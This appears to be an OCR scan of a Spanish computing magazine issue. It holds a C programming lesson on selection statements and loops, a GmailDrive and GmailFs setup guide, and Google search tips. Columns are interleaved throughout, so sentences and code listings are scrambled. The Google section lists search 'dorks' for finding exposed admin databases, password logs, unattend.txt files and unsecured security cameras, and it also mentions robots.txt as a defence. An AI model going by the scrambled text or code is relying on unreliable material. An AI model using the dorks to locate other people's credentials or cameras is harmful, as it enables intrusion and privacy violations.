Teléfono de Atención al Cliente:
977 22 45 80
Persona de Contacto:
Srta. Genoveva
Petición de números atrasados y suscripciones
FAX: 977 24 84 12
Servicio Ofrecido de Lunes a Viernes
De 10:00 A 13:00
52
Bienvenido una vez más a este curso, que espero que esté siendo de vuestro agrado y que
os ayude a aprender, pues para eso está. Hasta ahora, con lo que sabemos, los programas
que podemos hacer son lineales y su flujo (camino desde que empiezan hasta que terminan)
es totalmente predecible. En esta entrega, vamos a ser un pelín menos deterministas y a
ejercer un mayor control sobre los programas que hagamos.
53
último se puede evitar en todo lo posible, quiero decir realmente con esto
ya que hace que los programas sean (imagen 1).
lentos a la CPU le lleva varios ciclos
de reloj operar con números en coma Podemos ver cómo se ramifica el código
flotante). En C, un valor igual a cero con este tipo de sentencias de decisión.
será tomado como falso. Cualquier otro Una cosa que hay que resaltar. Cada if
(positivo o negativo) verdadero. anidado puede llevar, lógicamente su
else (en la imagen anterior he puesto Imagen 2
sentencia es una orden o conjunto de a cada if con un else anidado, aunque El uso de este tipo de gráficos, aparte
órdenes/ins-trucciones (sentencia el else es opcional). Y hay que tener de para tener más claro qué se trata de
compuesta) a realizar en caso de que mucho cuidado con los bloques, ya que
la condición que se cumple sea nuestras amigas las llaves ({ y }) hacer, es bueno cuando se diseñen
verdadera (con if) o en cualquier otro aíslan lo que hay entre ellas del resto algoritmos y se esté estudiando la
caso (else). del código, como ya se vio en la entrega complejidad de los mismos. Si la opción
anterior. Esto lo digo porque puede que más probable de todas está en niveles
Este tipo de sentencias establece una pongamos un else que queramos que profundos de nuestro anidamiento, pues
bifurcación de caminos en nuestro corresponda con un if determinado, y obviamente se hará más lento el
código. Ya podemos conducir hacia un si no tenemos cuidado con las llaves, programa.
sitio o a otro, dependiendo de un criterio podemos llevarnos alguna que otra Existe una forma en C de realizar
la condición que establezcamos. sorpresa en la ejecución del código. Esta sentencias de selección es mediante el
circunstancia se agrava aún más cuando operador ternario ?, que tiene la
Y esto, señoras y señores, se puede tenemos que poner llaves para senten- siguiente pinta:
complicar más, en el sentido de que cias compuestas que queramos que se
podemos establecer niveles de ejecuten con el if. Todo un verdadero Expresión 1 ? Expresión 2 : Expresión 3
54
Compilad y ejecutad el programa. Os
/* Programa que ilustra varias sentencias de selección en C */ animo a que juguéis un poquito con él.
// Importación de librerías En principio, una vez que adivinéis el
#include <stdio.h> número, éste será el mismo de ejecución
#include <stdlib.h>
a ejecución del programa. Incluso si
// Declaración de funciones recompiláis varias veces saldrá el mismo
int cuadrado_numero(int);
número. Con lo cual lo de aleatorio es
int main() más bien algo ficticio.
{
// Variables
char nivel_dificultad; A la función rand() se le ha añadido la
int numero_misterioso = 0; operación módulo (%). Esto lo hago
int intento = 0;
porque si no, el programa tendría un
// Usamos la función rand() para elegir un número aleatorio fallo de bulto: los números se saldrían
numero_misterioso = rand();
de rango si queremos que el programa
// El programa nos pide seleccionar un nivel de dificultad nos lo ponga difícil, ya que eleva el
printf("\n\t¿Deseas que te lo ponga (f)ácil o (d)ifícil?");
número al cuadrado y sería negativo.
scanf("%c", &nivel_dificultad);
Probad a quitarle el % 101 y veréis
// Una vez leído lo que el usuario ha introducido ejecutamos el programa cómo esto que digo es cierto, ya que
if (nivel_dificultad == 'f')
{ RAND_MAX es un entero muy grande
printf("\n\nIntroduce un número por teclado: "); (su valor está cercano a los dos mil
scanf("%d", &intento);
intento == numero_misterioso ? millones).
printf("\n\tEnhorabuena, has acertado") :
printf("\n\tLo siento, más suerte para la próxima");
}
Para generar un poco de aleatoriedad
else hay que usar otra función distinta. Es
if (nivel_dificultad == 'd')
srand() dicha función. Podéis tener más
{
numero_misterioso = cuadrado_numero(numero_misterioso); ayuda en http://www.geocities.com/
printf("\n\nIntroduce un número por teclado: "); chuidiang/funciones/rand.htm (si queréis
scanf("%d", &intento);
intento == numero_misterioso ? usar getpid() como generador de
printf("\n\tEnhorabuena, has acertado\n") : semillas, no se os olvide importar la
printf("\n\tLo siento, más suerte para la próxima\n");
} librería unistd.h, en caso de querer usar
la hora time.h es vuestra librería).
else
printf("\n\tNivel no reconocido. Introduce f o d");
También podéis usar el google y buscar
} rand(). En las páginas clásicas como
http://www.forosdelweb.com/ y
// Definición de la función cuadrado_numero
http://c.conclase.net también tenéis
int cuadrado_numero(int numero) información para aburrir.
{
int resultado;
resultado = numero > 0 ? numero*numero : -(numero*numero); Si queréis saber más sobre números
return resultado;
aleatorios (un tema computacionalmente
}
fascinante) podéis ver la página man
de rand o srand. Aparte os recomiendo
Listado 1
el libro Numerical Recipes in XXX
Bien, como podemos ver, aquí tenemos variable que le indiquemos. El primer donde XXX no es lo que os pensáis
ejemplos de los anteriores esquemas argumento que se le ha pasado en este (malpensaos :P), sino que puede ser C,
de selección. Aquí vemos que hemos caso, es una cadena de formato, que Java, Fortran... El recomendable en este
introducido dos nuevas funciones: rand() indica qué tipo de dato cabe esperar caso es Numerical Recipes in C
obviamente. También viene en la página
y scanf(). La primera, incluida en
que el usuario introduzca. El segundo man esta recomendación.
stdlib.h, nos permite generar números
argumento es la variable (en realidad,
aleatorios, entre 0 y RAND_MAX que es
un puntero a la dirección de memoria Una última forma de realizar sentencias
una constante la cual define un número
de la variable) donde se almacena el de selección en C es mediante el uso
entero muy grande.
valor introducido por el usuario. Esto lo de switch. Su uso/sintaxis es el
La función scanf() nos permite pedir veremos más adelante cuando hablemos siguiente:
55
un caso bajo la misma secuencia de que se cumpla una cierta condición,
switch (expresión) {
sentencias, para no repetir. como prefiráis. Esta condición puede
case constante1:
secuencia de sentencias; estar predefinida de antemano, como
break;
Vo l v e r e m o s sobre este tipo de en el caso de los bucles for o no; como
case constante2:
secuencia de sentencias; construcciones más adelante en el curso. en el caso de los bucles while y dowhile.
break; Suelen venir bien cuando tenemos que
case constante3:
secuencia de sentencias; hacer un menú con varias opciones. De
break; esta forma, queda todo más claro y
.
. menos difuso que si usáramos cualquier
. otra construcción con if. ¿Os gustan los loopings en las
default:
carreteras? ¿La sensación de estar
secuencia de sentencias;
} Las sentencias switch tienen además cabeza abajo? Bueno, pues en C
otro tipo de limitaciones: podemos estar dando vueltas y vueltas
Esta forma de realizar estructuras de al mismo código una serie de veces,
selección se puede ver que se parece 1 . S ó l o p u e d e n u s a r s e p a ra que no vienen predefinidas de antemano
mucho a los if else con múltiples comprobar igualdad, if podría con las dos construcciones que vienen
ramificaciones. En este caso, se da una además con expresiones en el epígrafe.
expresión que va a servir para compa- relacionales y lógicas.
rarla con constantes. Cuando coincide La construcción de ambas, es muy
con alguna, se evalúa la secuencia de 2. Es incorrecto darle a dos case similar y las pongo juntas, ya que así
sentencias que hay entre el case y el d i s t i n t o s e l m i s m o va l o r d e podemos ver en qué se parecen y en
break correspondientes. En caso de que constante. Se pueden anidar qué se diferencian:
no coincida con ninguna, se ejecuta lo sentencias switch, en cuyo caso,
while (condición) sentencia;
que venga tras la etiqueta default (una sí que es correcto que tengan el
do sentencia while (condición);
etiqueta es toda expresión que va termi- mismo valor dos case distintos.
nada con dos puntos, en vez de con Y ahora la explicación para cada uno.
punto y coma). Esta etiqueta es opcional 3. Las constantes tipo carácter son En el primer caso, se evalúa la condición
y las sentencias que van con esta y con convertidas a su equivalente entero y, mientras sea cierta (de ahí el while)
case llaman sentencias de etiqueta. correspondiente, según la tabla se itera sobre sentencia, una y otra vez.
Anda que se quiebran con los nombres ASCII.
:P. Nota
4. No es posible declarar variables
Hay que tener cuidado con dónde se y/o funciones dentro de sentencias En todos los casos para las sintaxis de senten
cias que estoy poniendo, tened en cuenta que
ponen los break. Cuando se encuentra case en bloques switch, ya que no
sentencia hace referencia tanto a una simple
una coincidencia se ejecuta desde es posible declarar variables locales instrucción, como a un bloque de código, que
secuencia de instrucciones hasta el dentro de secuencia de sentencias. deberá ir encerrado entre llaves.
primer break del que se tenga noticia Para ello, deberíamos abrir un
o el final de la sentencia switch. Si se bloque de código con las llaves, Para el segundo caso, se ejecuta
nos olvida en algún caso un break, si después del case y ahí meter la sentencia y luego se comprueba si la
se empieza a cumplir la condición en la variable y el resto del bloque de condición es verdadera para seguir
etiqueta case del despiste pues código.. En cambio, sí que pueden iterando.
también se ejecutará la siguiente declararse al principio del bloque,
secuencia de instrucciones hasta un justo antes de la primera sentencia A simple vista, diríais que son iguales,
break o final de switch, como ya se ha case (para el caso de variables). pero hay una diferencia fundamental:
mencionado anteriormente. el momento en el cual se evalúa la
Con esto, hemos visto las principales condición. Para el caso del while a secas,
Esto que puede parecer un fallo de C, sentencias de selección en C, pasemos se realiza al principio, con lo que puede
no lo es en realidad, ya que permite a carreteras más excitantes ... que no se ejecute nunca la sentencia
generar código eficiente, al no tener dentro del código. Para el segundo, se
que repetir fragmentos de código. comprueba una vez que se ha ejecutado
la sentencia. Es decir, para el do ...
Esto puede hacerse por despiste como while, tenemos que siempre nos
ya he dicho, o por conveniencia, porque Hemos llegado a los ansiados bucles. O metemos en el bucle. Para el caso del
puede que se necesite agrupar más de la repetición de trozos de código hasta while, puede que nunca nos metamos.
56
Y esto es así de sencillo. Dependiendo
/* Programa de adivinar un número que genere el ordenador aleatoriamente */ de lo que nos interese y de las exigencias
// Importaciones de librerías
del guión :P, puede que nos interese
#include <stdio.h> meternos una vez en el bucle o puede
#include <stdlib.h> que no. C da la flexibilidad necesaria
#include <time.h> para que esto ocurra.
// Declaración de funciones que vamos a necesitar
void menu (void); // Presenta un menú inicial en pantalla Quizás, la expresión más general de las
int genera_aleatorio(void); // Genera el número aleatorio dos sea la primera, ya que podemos
int pedir_numero(void); // Pide el número al usuario
int comprobar_numero(int, int); // Comprueba el número introducido
transformar un bucle while en un do ...
while, sin más que asegurarnos antes
// Declaramos una variable global de llegar al bucle de que la condición
int intento = 0;
va a ser cierta y por tanto, se va a
int main() ejecutar.
{
// Variables necesarias
Para no desechar lo que hemos ido
int numero_aleatorio = 0;
int acierto = 0; haciendo en esta entrega, vamos a
int acertado = 0; // Variable para saber si hemos acertado retocar nuestro programa para que ahora
char opcion;
se puedan realizar varios intentos.
// Generamos el número aleatorio Vamos a iterar hasta que encontremos
numero_aleatorio = genera_aleatorio(); el número. Sólo son 100 intentos como
mucho, así que no nos preocupemos :P.
// Presentamos el menú y leemos la entrada por teclado del usuario
menu(); Pero vamos a completar el programa.
opcion = getchar(); En cada intento fallido, al menos el
ordenador nos dará información de si
// Bucle del programa do ... while
while (acertado == 0 & (opcion != 's' & opcion != 'S')) es mayor o menor y nos dará la
{ posibilidad de salirnos del programa
pedir_numero();
introduciendo un número negativo.
acierto = comprobar_numero(intento,numero_aleatorio);
// Dependiendo de acierto se muestra un mensaje u otro Además, vamos a ver un menú sencillo,
switch (acierto)
de inicio de programa. Esto ya se va
{
case 0: complicando, en el sentido de que
printf("Enhorabuena, has acertado\n"); metemos muchos más elementos aquí
acertado = 1; que en los programas anteriores. Esto
break;
case 1: ya se va pareciendo a un programa
printf("El número buscado es menor que el introducido.\n"); serio, como empezaremos seguramente
printf("¿Qué desea hacer ahora?\n");
a partir de la siguiente entrega. Pero no
menu();
do quiero desvelar sorpresas todavía.
{
opcion = getchar();
De momento, centrémonos en este
} while (opcion != 's' & opcion != 'p');
break; nuevo programa.
case -1:
printf("El número buscado es mayor que el introducido.\n");
El listado con el programa lo podéis ver
printf("¿Qué desea hacer ahora?\n");
menu();
a continuación (listado 2).
do
{ Bien, el código es bastante sencillo, a
opcion = getchar();
} while (opcion != 's' & opcion != 'p');
pesar de las funciones y bucles que
break; tiene. Como veis, aún se puede refinar
default: aún más este programita, añadiendo
break;
funciones (una con el switch, por
}
} ejemplo). Las variaciones las dejo a
} vuestra elección y criterio. Un añadido
podría ser el incorporar una variable
Listado 2 - continúa en la página siguiente
que lo que haga sea contar el número
57
inicializamos la o las variable(s) al inicio
del bucle. En condición hay que poner
void menu (void)
la condición de salida del bucle, de modo
{
// Presentamos el menú en pantalla análogo a como se hacía con los bucles
printf("\n\nElija una de las siguientes opciones.\n"); while. E incremento es cómo se va(n)
printf("1. - Probar suerte. (p)\n"); a incrementar la(s) variable(s) de control
printf("2. - Salir (s)\n");
}
en cada iteración de bucle.
58
con la miel en los labios, vamos a ver
/* Programa con variantes del bucle for */
si podemos codificar el mismo programa
#include <stdio.h>
#include <stdlib.h> que averiguaba números con el bucle
#include <time.h> for. Mediante lo que os he dicho antes,
void menu(void); podemos arreglarnos para que el bucle
int pedir_numero(void); for sea un bucle infinito(listado 3).
int genera_aleatorio(void);
int comprobar_numero(int,int);
C o m o p o d é i s ve r, e s t e p r o g ra m a
int intento = 0;
funciona, aunque es muy pobre. No nos
int main() dice si vamos bien o mal encaminados
{
y además no nos deja aburrirnos de
int numero_aleatorio = 0;
int acierto = 10; intentar averiguar el número, ya que
int acertado = 0; presenta una sola vez el menú. Las
char opcion;
modificaciones no son excesivamente
numero_aleatorio = genera_aleatorio(); difíciles, así que, pequeños padawan,
for (menu(),opcion = getchar(); acierto == 0 | opcion != 's'; pedir_numero()) os dejo como ejercicio que le incluyáis
{ las modificaciones que creáis
acierto = comprobar_numero(intento,numero_aleatorio);
}
convenientes. La solución es simple y
no voy a darla en próximos números,
return 0;
aunque sí, en nuestro foro:
}
http://www.hackxcrack.com/phpBB2/i
void menu (void) ndex.php. Os invito a entrar y compartir
{
// Presentamos el menú en pantalla vuestras soluciones, expresar
printf("\n\nElija una de las siguientes opciones.\n"); inquietudes, lo que queráis. Os recuerdo
printf("1. - Probar suerte. (p)\n");
printf("2. - Salir (s)\n"); q u e t o d o s , i n c l u i d o y o, e s t a m o s
} aprendiendo y que seguro que le
int genera_aleatorio()
sacamos mucho jugo al bucle for entre
{ todos ;-).
srand(time(NULL));
return rand() % 101;
} El programa como veis inicializa pidiendo
una opción y presentando el menú,
int pedir_numero()
{ comprueba que ni hemos introducido el
printf("Introduzca un número por teclado (entre 0 y 100): "); carácter correspondiente a salir, ni
scanf("%i",&intento);
printf("\n"); hemos averiguado el número, nos pide
} el número (la actualización se da justo
59
uso. Además, estamos obligados a seguir Aquí en código_devuelto podemos
unas ciertas reglas para operar con él: devolver un cero al sistema operativo,
para indicar ejecución normal del
Primero, debemos de usarlo de programa; o bien cualquier otro valor
Que nadie se asuste que no vamos a la forma: para indicar que hemos tenido alguna
programar un ajedrez en C. Al menos, anomalía durante la ejecución del
no de momento :P. Vamos a terminar goto etiqueta; mismo.
.
este capítulo comentando las secuencias .
de salto que tenemos en C. Quizás este etiqueta: Y como todo en esta vida (o casi todo)
{secuencia_de_sentencias}
epígrafe sea tildado de herejía por algún tiene su contrario, break tiene un
purista de la programación. Que me antagónico (aunque no es un antagónico
Donde etiqueta es un identificador
perdone. Mi deber es exponer qué nos puro, ya que no hace solamente lo
válido de C seguido de dos puntos
ofrece C. Luego que cada cual haga lo contrario): continue, que hace que no
(:).
que crea conveniente, sea o no buena se ejecute lo que sigue a partir de él
práctica de la programación. hasta el final del bucle, pero no salta
Después, no podemos usarlo
fuera de él. Lo que hace es volver a
para salirnos de una función. Es
ejecutar las partes de las pruebas
decir, la etiqueta debe estar en la
condicionales y de incremento de bucle
misma función que el goto.
en bucles for y en while y dowhile a la
Bien, esta sentencia ya ha sido vista prueba condicional.
Y no hay mucho más que decir del goto.
con anterioridad. Y sí, es una sentencia
Os animo a que intentéis emular bucles
de salto, ya que lo que hace es volver Es útil combinado con alguna expresión
while y for con el goto. Como siempre,
de la función al punto donde se llamó condicional dentro del bucle para
el foro os espera ;-).
la función. Se salta a dicho punto. Y lo discernir si ejecutamos hasta el final
bueno de C es que no pone límites a del bucle o reiniciamos el bucle.
nuestra imaginación. Podemos usar en
las funciones tantos return como De todos estos no pongo ejemplos de
Bien, para salir de bucles sin necesidad
queramos. Ahora bien, en cuanto se código. Os dejo para que probéis si
de que se cumpla la condición que
encuentre la función con el primero se podemos usarlos en nuestro programita
hemos predispuesto a tal efecto,
salta y el resto se ignoran. de averiguar números con bucle for, a
tenemos break. Como hemos visto, se
ver si podemos mejorarlo y que sea más
puede utilizar también en los case, para
Cuando no acompañamos de un valor completo y nos anime a jugar.
que salga sin necesidad de seguir
a return, el compilador asume un valor
evaluando los case subsiguientes. Es
por defecto para devolver. Esto mismo Y esto ha sido todo por esta entrega.
decir, es una salida incondicional (sin
ocurre en una función cuando no usamos Espero que os guste y que os anime a
condiciones, qué locuacidad la mía :P)
return. La llave de cierre hace de return aprender este apasionante lenguaje que
de bucles y en este caso, además, de
sin valor. Como veis, todo al final tiene es el C.
los case.
sentido y vemos por qué si no podemos
un return en una función, aparente- Habréis visto que no he dado ejemplos
Se puede utilizar para dar un control
mente, no pasa nada. de compilación y/o ejecución esta vez.
extra sobre salida en bucles y puede
Esto es para que tanto los que usáis
interesarnos en ciertos casos. Como
Linux como Windows podáis seguir mejor
siempre, a gusto del programador. C
los ejemplos, os animéis a probarlos
p o n e l a s h e r ra m i e n t a s , n o s o t r o s
(que no son tan largos) y así podáis
debemos saber si las queremos o no
Bien, llega la controversia. C nos brinda exponer las dudas en el foro sobre
utilizar. O si nos conviene utilizarlas...
la opción de una variedad rica de compiladores, formas de compilación,
Existe un break más contundente: la
sentencias y control sobre el flujo del etcétera.
función exit(). Esta función lo que hace
programa que tenemos. Y por eso
es terminar con el programa, devol-
incluye al amadoodiado goto. La causa Y ya me despido de vosotros. No sin
viendo el control al sistema operativo.
de su odio y a la vez de su amor, es daros las gracias por leerme hasta aquí
Un pelín radical, sí, pero puede ser útil
que se u til izab a t a n t o qu e h a cía e invitándonos a vernos en el foro para
en ciertos momentos. Su forma general,
programas ilegibles. Y se usaba tanto intercambiar ideas, dudas, críticas e
ya que es una función es:
porque era fácil de usar. Sin embargo, inquietudes que tengamos.
en C no es estrictamente necesario su
void exit(int código_devuelvo);
60
Con este artículo inauguramos un nuevo apartado en la revista. Bienvenidos a la nueva sección
de Pc Paso a Paso: La Cafetería. Aquí encontraréis todo tipo de artículos, desde FAQs(Frequently
Asked Questions) o manuales, hasta entrevistas con 'celebridades' de la informática, pasando
por artículos de opinión, noticias relevantes e incluso una tira cómica, que los informáticos
también tenemos sentido del humor :D
Llamadlo un área de Off Topics, Artículos varios o Temática General, pero el fin es el mismo:
entreteneros, informaros y haceros la lectura de esta revista más divertida(aún), ya que no
solo de cursos vive el hombre :). Esperamos poder cumplir con nuestro deseo.... Poneos
Cómodos, estáis en la Cafetería!
61
807577/1/ -Librería libGmail de http://sourcefor Ahora repetimos con libGmail
http://www.techspot.com/download29 ge.net/project/showfiles.php?group_i
7.html d=113492 # tar xvfz libGmail-0.0.8.tgz
-GmailFs de http://richard.jones.name # cd libGmail-0.0.8
Una vez haya terminado la descarga, lo /Google-hacks/Gmail-filesystem # cp constants.py libGmail.py
abrimos(doble click) y lo extrae- /Gmailfs-0.3.tar.gz /usr/local/lib/python2.4/site-packages
mos(acciones-->Extraer) a C:\Gmail.
Ahora nos vamos a la carpeta e iniciamos Bueno, ya lo tenemos todo ¿no? Tened Como ves hemos tenido que copiar esos
el setup.exe en cuenta que es bastante probable que dos archivos a un lugar accesible para
tengáis Python, comprobadlo para python. Y ahora por último Gmailfs:
Nos saldrá el Readme, que ,si no sabes ahorraros un poco de tiempo. También
ingles, te servirá de poco. Ciérralo para debéis tener en cuenta que lo estoy # tar xvfz Gmailfs-0.3.tar.gz
proceder con la instalación. Ahora solo explicando independiente de la distri- # cd Gmailfs-0.3
tienes que ir a "Mi Pc" y veras que tienes bución, por lo que en vuestra distribución # cp Gmailfs.py /usr/local/bin
un nuevo disco duro llamado "Gmail es muy posible que os podáis descargar # cp mount.Gmailfs /sbin/
Drive". Haz doble click en él y te pedirá paquetes como Python con un simple # mkdir /mnt/Gmail
tu nombre de usuario y contraseña. Los apt-get install python.
pones y si quieres que cada vez que se Bien, ahora debemos añadir una entrada
inicie el ordenador se conecte a Gmail, Desde ahora asumo que los archivos a /etc/fstab que sea algo como esto:
dale a "autologin", aunque no lo descargados están en /tmp/Gmailfs y /usr/local/bin/Gmailfs.py /mnt/Gmail
recomiendo. que estamos logueados como "root" en Gmailfs noauto,username=usuario,
una consola para hacer todo esto. password=contraseña
Bien, ya tienes tu nuevo disco duro fsname=WaDALbeRTo
virtual, puedes almacenar ahí lo que Lo primero que debemos hacer es
quieras, y luego lo puedes sacar en instalar Python. Donde "usuario" es nuestro nombre de
cualquier ordenador que tenga también usuario y "contraseña" nuestra contra-
instalado GmailDrive. # tar xvfz Python-2.4.1.tgz seña de Gmail. "fsname" es un nombre
# cd Python-2.4.1 para el sistema de archivos, podemos
Ten en cuenta que este es un programa # ./configure --prefix=/usr/local ponerle el que queramos, pero es
que depende de Gmail, por lo que cada # make aconsejable que sea difícil de adivinar
vez que actualicen su sistema ya no # make install --prefix=/usr/local "por si las moscas".
funcionará(se actualizara no muy a
menudo), así que si ves que no te Ya tenemos Python instalado. Ahora le Bueno, ahora solo nos queda ir a /mnt/
funciona, pásate otra vez por la web y toca a Fuse: y hacer mount Gmail.
bájate una versión actualizada al nuevo
sistema, y repite los pasos. # tar xvfz fuse-2.2.1.tar.gz
# cd fuse-2.2.1
Web de GmailDrive: http://www. #./configure
viksoe.dk/code/Gmail.htm #make && make install También podemos ver nuestro correo
# vi /etc/init.d/fuse desde un cliente de correo, ya sea en
-Linux >#!/bin/sh tu ordenador o en un PDA. Para hacerlo
>modprobe fuse nos logueamos en Gmail y vamos a
Para hacer esto independiente de la :wq configuración(arriba a la derecha) a
distribución que uses, voy a explicar # update-rc.d fuse defaults continuación vamos a Reenvío y Correo
como hacerlo desde las fuentes de todos POP y donde dice Descargar correo
l o s p r o g ra m a s q u e n e c e s i t e m o s . Como podéis ver, hemos tenido que POP habilitamos Habilitar POP para
crear un script en "/etc/init.d" para que todos los mensajes. Ahora para configurar
Primero debemos bajarnos: se inicie el modulo fuse cuando iniciemos tu gestor favorito tienes el GmailConfig,
nuestro ordenador. Si quieres utilizar que te lo configura todo de manera que
-Python(si es que no lo tenemos ya) de ahora mismo fuse haz modprobe fuse . solo tengas que introducir tu usuario y
http://www.python.org/ftp/python/2. contraseña. Puedes bajártelo de http://
4.1/Python-2.4.1.tgz Turno de Fuse Bindings: t o o l b a r. G o o g l e . c o m / G m a i l - h e l p e r /
-Fuse de http://sourceforge.net GmailConfig.exe . Para una explicación de
/project/showfiles.php?group_id=121 # tar xvfz fuse-python.tar.gz como hacerlo independientemente del
684&package_id=132802 # cd fuse-python gestor de correo, entrad en
-Python-Fuse Bindings de http://richard. # chmod 777 fuse.py http://gmail.google.com/support/bin/an
jones.name/Google-hacks/Gmail- # python setup.py build swer.py?answer=13287
filesystem/fuse-python.tar.gz # python setup.py install
62
A continuación explicaré como configu- "Reenvío y correo POP" y hacer click en haríamos "constitución Española"
rarlo con Mozilla Thunderbird: "Reenviar una copia del correo entrante filetype:pdf y nos devolvería todos los
a" seguido de la dirección de correo, sitios donde aparece constitución
Abre Thunderbird y entra en indicando si quieres conservar una copia española en formato .pdf.
Herramientas-->Edición de Cuentas, en la cuenta de Gmail o no.
seguido de Añadir Cuenta.
Pincha en Cuenta de Correo
Electrónico y en Siguiente. Pues sí, también podemos buscar cosas
Introduce el nombre que verán los Gmail te permite ver en tu lector de especificas de películas en Google
recipientes de tus mensajes en Su feeds favorito tus correos. Para hacerlo utilizando el operador movie : . Por
Nombre:. Luego teclea tu nombre de deberás añadir a tu agregador feed la ejemplo, sabemos que hay una película
usuario Gmail (usuario@gmail.com) dirección https://Gmail.Google.com/ dirigida por Spielberg en la que sale
adentra de la caja de Dirección de Gmail/feed/atom, y configurarlo de Tom Hanks y que trata sobre un
Correo Electrónico, y dale a Siguiente. manera que el identificador y contraseña Soldado. Pues ponemos movie:
Selecciona POP como tipo de servidor sean las mismas que las de tu correo. Spielberg Tom Hanks Soldier y nos da
entrante. En Nombre del Servidor pon como resultado Salvar al Soldado Ryan,
pop.gmail.com y acto seguido haz click de la cual podemos ver críticas, sinopsis,
en Siguiente. actores, etc....
Teclea una vez más tu nombre de Con Google puedes encontrar
usuario de Gmail (incluyendo el prácticamente cualquier cosa, y después
@gmail.com) en Nombre de Usuario de este artículo ya no tendrás excusa
Entrante. para no encontrarlo TODO ;) Estas son Esta característica nos permite seguir
Introduce cualquier nombre en algunas de las formas en las que Google los paquetes enviados a través de FedEx,
Nombre de Cuenta seguido de nos ayuda: UPS, USPS, y otros dando solamente el
Siguiente. numero de identificación, por ejemplo
Verifica que todo está correcto y haz "9999 9999 9999 9999 9999 99".
click en Siguiente. También podemos ver un vuelo poniendo
Bajo la nueva cuenta creada entra en Google incorpora una calculadora que su número de identificación, el cual
Configuración de Servidor y pon un te permite hacer todo tipo de cálculos suele estar normalmente en el reverso
tick en la caja que dice Usar conexión matemáticos, desde lo más simple hasta del ticket.
segura (SSL), y verifica que el puerto lo más complejo. Por ejemplo, podemos
sea 995. hacer algo tan simple como multiplicar
En la ventana de Configuración de cinco más cinco por dos, (5+5)*2,
Cuenta mira el recuadro Servidor de hasta hacer cosas tan complicadas como
Salida (SMTP). (e^(i pi)+1), y obtener un resultado Utilizando el operador site: podremos
Pon un tick en la caja que dice TLS claro. buscar algo en concreto dentro de una
debajo de Utilizar conexión segura. misma web. Por ejemplo, si queremos
Introduce smtp.gmail.com en encontrar Windows Media Player
Nombre del Servidor, y verifica que dentro de http://www.microsoft.com/,
Puerto sea 587. Para obtener la definición de una palabra pondríamos Windows Media Player
Tickea la opción Utilizar Nombre de ponemos algo tan simple como Define site:http://www.microsoft.com/
Usuario y Contraseña, e introduce tu palabra , de manera que si queremos
nombre de usuario de Gmail la definición de un ordenador hacemos
(usuario@gmail.com. Define ordenador y obtendremos un
Verifica que toda la información sea enlace (casi siempre a la Wikipedia o Si nos vamos mañana de viaje y no
correcta, y ¡ya tienes tu correo Gmail similar) en el que nos dice Una sabemos que tiempo hará, Google nos
en tu gestor de Correo!. c o m p u t a d o ra ( H i s p a n o a m é r i c a ) u ayudará :) Si queremos saber el tiempo
ordenador (España) es un dispositivo que hará en Madrid pondremos weather
electrónico compuesto... . madrid, Spain. Esta búsqueda debe
siempre estar en el formato weather
Con esta opción puedes reenviar todo ciudad , País
el correo que recibas en tu cuenta Gmail
a otra dirección de correo electrónico. Google nos permite relacionar los
De esta manera si cambias de cuenta y resultados con un tipo de archivo en
ya no quieres recibir más mensajes en concreto mediante la utilización de ¿Quieres saber quien tiene un link a tu
Gmail, puedes reenviar todos los filetype:[extensión] en la búsqueda. web? Pues usando el operador link:
mensajes a tu nueva cuenta. Digamos que por ejemplo buscamos la web lo sabrás. Por ejemplo, para saber
La forma de hacer eso es yendo a constitución española en pdf, pues quien tiene links que apunten a
63
http://www.cnn.com/ pondremos ejemplos, puedes probar con muchas La manera de sacar provecho de estos
link:http://www.cnn.com/ más cosas. GoogleDorks es refinando las búsquedas
al máximo para conseguir archivos de
configuración o de administrador. Por
ejemplo, para un archivo .mdb, el cual
contiene contraseñas, usuarios y demás
Esta opción solo funciona con vuelos
Si quieres recibir los resultados de la archivos sobre una pagina web, ponemos
americanos, pero pronto se instalará en
búsqueda en tu correo para poder en Google allinurl: admin mdb. Como
otros países. La forma de utilizar este
analizarlos más tarde con tranquilidad veis, hay diversas páginas donde el
servicio es poniendo el nombre de la
en otro sitio, basta con mandar un email administrador ha dejado que Google
compañía, seguido del vuelo. Por
a Google@capeclear.com con el patrón guardara un link a ese archivo, cosa
ejemplo para la compañía United
de la búsqueda como asunto, y al poco que NINGÚN administrador espabilado
Airlines y el vuelo 134 pondríamos
ra t o r e c i b i r á s u n c o r r e o c o n l o s debería hacer.
united 134
resultados
Os dejo algunas búsquedas más para ir
practicando:
Si sabemos el nombre de una empresa
que invierte en bolsa, podremos saber intitle:"Index of" config.php
Mediante el operador inurl : podemos
como van sus acciones, e incluso ext:txt inurl:unattend.txt
encontrar un patrón dentro de la url de
obtendremos un bonito gráfico. Para filetype:log inurl:"password.log"
cualquier web. Si quisiéramos encontrar
ello deberemos saber la abreviatura del "access denied for user" "using
paginas web que contengan phpBB2
nombre en bolsa. Por ejemplo para saber password"
pondríamos inurl; phpBB2Esto puede
como están las acciones de Cisco tener varias utilidades. Por ejemplo, Para más búsquedas de este tipo echadle
Systems, Inc pondremos su nombre podemos utilizar esta opción para ver un vistazo a la web http://johnny.
abreviado en bolsa, que es csco diferentes cámaras de seguridad del ihackstuff.com/
mundo buscando inurl:"MultiCamera
Frame?Mode=". De esta manera, todas Para evitar este tipo de cosas, debemos
las urls(direcciones) que tenga Google configurar nuestro servidor para que los
Este punto es el más difícil de explicar. almacenadas que contengan buscadores no entren en determinados
Resulta que Google tiene un sistema MultiCameraFrame?Mode= aparecerán directorios, lo cual se puede hacer de
que te hace conversiones sobre ciertas en los resultados, con las consiguientes diversas formas , dependiendo del
cosas, como puede ser la conversión de paginas donde podremos ver cámaras servidor. En el caso de Apache, se debe
segundos a horas, megabytes a bits o de seguridad desde un casino de Japón restringir el acceso en el archivo
metros a millas. hasta la Quinta Avenida de Nueva York. .htaccess. Otra manera universal para
Esto también conlleva algunos riesgos todos los servidores es tener en el
La forma de sacar provecho de esto
de seguridad, ya que todas esas cámaras directorio raíz un archivo llamado
suele ser siempre con esta sintaxis:
están al descubierto para miradas de robots.txt en el cual debes incluir
Cosa to Cosa1 curiosos (como nosotros :D), y es Disallow : Seguido del directorio al
posible que no siempre sea la intención que no quieres que el robot de ningún
Es decir, si queremos convertir 66984 del administrador. buscador entre. Para más información
segundos a horas ponemos: s o b r e e l a r c h i v o r o b o t s . t x t m i ra
También es posible encontrar resultados http://www.searchengineworld.com/r
66984 seconds to hours A lo que nos dentro del título de la pagina, con el obots/robots_tutorial.htm
dirá: 66 984 seconds = 18.6066667 operador intitle:. Al igual que con
hours inurl, con allinurl conseguimos mas Espero que este artículo os sirva de
